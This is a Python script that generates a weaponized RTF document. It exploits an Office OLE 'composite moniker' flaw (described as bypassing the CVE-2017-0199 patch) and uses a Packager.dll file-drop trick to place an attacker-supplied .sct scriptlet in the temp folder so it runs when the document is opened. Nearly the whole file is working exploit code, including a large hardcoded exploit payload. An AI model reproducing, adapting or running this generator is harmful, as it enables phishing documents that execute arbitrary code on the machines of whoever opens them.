import argparse
import os
import struct
import random
import string

class Package(object):
    """
    Packager spec based on:
    https://phishme.com/rtf-malware-delivery/
    
    Dropping method by Haifei Li: 
    https://securingtomorrow.mcafee.com/mcafee-labs/dropping-files-temp-folder-raises-security-concerns/

    Found being used itw by @MalwareParty:
    https://twitter.com/MalwareParty/status/943861021260861440
    """
    def __init__(self, filename):
        self.filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(15)) + '.sct'
        self.fakepath = 'C:\\fakepath\\{}'.format(self.filename)

        self.orgpath = self.fakepath
        self.datapath = self.fakepath

        with open(filename,'rb') as f:
            self.data = f.read()

        self.OBJ_HEAD = r"{\object\objemb\objw1\objh1{\*\objclass Package}{\*\objdata "
        self.OBJ_TAIL = r"0105000000000000}}"

    def get_object_header(self):
        OLEVersion = '01050000'
        FormatID = '02000000'
        ClassName = 'Package'
        szClassName = struct.pack("<I", len(ClassName) + 1).encode('hex')
        szPackageData = struct.pack("<I", len(self.get_package_data())/2).encode('hex')

        return ''.join([
            OLEVersion,
            FormatID,
            szClassName,
            ClassName.encode('hex') + '00',
            '00000000',
            '00000000',
            szPackageData,
        ])

    def get_package_data(self):  
        StreamHeader = '0200'
        Label = self.filename.encode('hex') + '00'
        OrgPath = self.orgpath.encode('hex') + '00'
        UType = '00000300'
        DataPath = self.datapath.encode('hex') + '00'
        DataPathLen = struct.pack("<I", len(self.datapath)+1).encode('hex')
        DataLen = struct.pack("<I", len(self.data)).encode('hex')
        Data = self.data.encode('hex')
        OrgPathWLen = struct.pack("<I", len(self.datapath)).encode('hex')
        OrgPathW = self.datapath.encode('utf-16le').encode('hex')
        LabelLen = struct.pack("<I", len(self.filename)).encode('hex')
        LabelW = self.filename.encode('utf-16le').encode('hex')
        DefPathWLen = struct.pack("<I", len(self.orgpath)).encode('hex')
        DefPathW = self.orgpath.encode('utf-16le').encode('hex')

        return ''.join([
            StreamHeader,
            Label,
            OrgPath,
            UType,
            DataPathLen,
            DataPath,
            DataLen,
            Data,
            OrgPathWLen,
            OrgPathW,
            LabelLen,
            LabelW,
            DefPathWLen,
            DefPathW,
        ])

    def build_package(self):
        return self.OBJ_HEAD + self.get_object_header() + self.get_package_data() + self.OBJ_TAIL

# Bypassing CVE-2017-0199 patch with Composite Moniker: https://justhaifei1.blogspot.co.uk/2017/07/bypassing-microsofts-cve-2017-0199-patch.html
EXPLOIT_RTF = r"""{{\rt{0}{{\object\objautlink\objupdate{{\*\objclass Word.Document.8}}{{\*\objdata 0105000002000000090000004F4C45324C696E6B000000000000000000000A0000D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF0900060000000000000000000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500FFFFFFFFFFFFFFFF020000000003000000000000C000000000000046000000000000000000000000704D6CA637B5D20103000000000200000000000001004F006C00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000100100000000000003004F0062006A0049006E0066006F00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000004000000060000000000000003004C0069006E006B0049006E0066006F000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000005000000B700000000000000010000000200000003000000FEFFFFFFFEFFFFFF0600000007000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF010000020900000001000000000000000000000000000000C00000000903000000000000C000000000000046020000000303000000000000C00000000000004600001A00000025544D50255C{1}000E00ADDE000000000000000000000000000000000000000038000000320000000300250054004D00500025005C00{2}C6AFABEC197FD211978E0000F8757E2A000000000000000000000000000000000000000000000000FFFFFFFF0609020000000000C00000000000004600000000FFFFFFFF0000000000000000906660A637B5D201000000000000000000000000000000000000000000000000100203000D00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000105000000000000}}}}}}"""


def build_exploit(sct):
    p = Package(sct)
    package = p.build_package()
    return EXPLOIT_RTF.format(package, p.filename.encode('hex'), p.filename.encode('utf-16le').encode('hex'))

	
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="PoC exploit for CVE-2017-8750 (a.k.a. \"composite moniker\") using Packager.dll file drop method")
    parser.add_argument("-s", "--sct", help="Sct file to execute", required=True)
    parser.add_argument('-o', "--output", help="Output file for RTF", required=True)

    args = parser.parse_args()

    with open(args.output, 'w') as f:
        f.write(build_exploit(args.sct))    
	print "[+] RTF file written to: {}".format(args.output)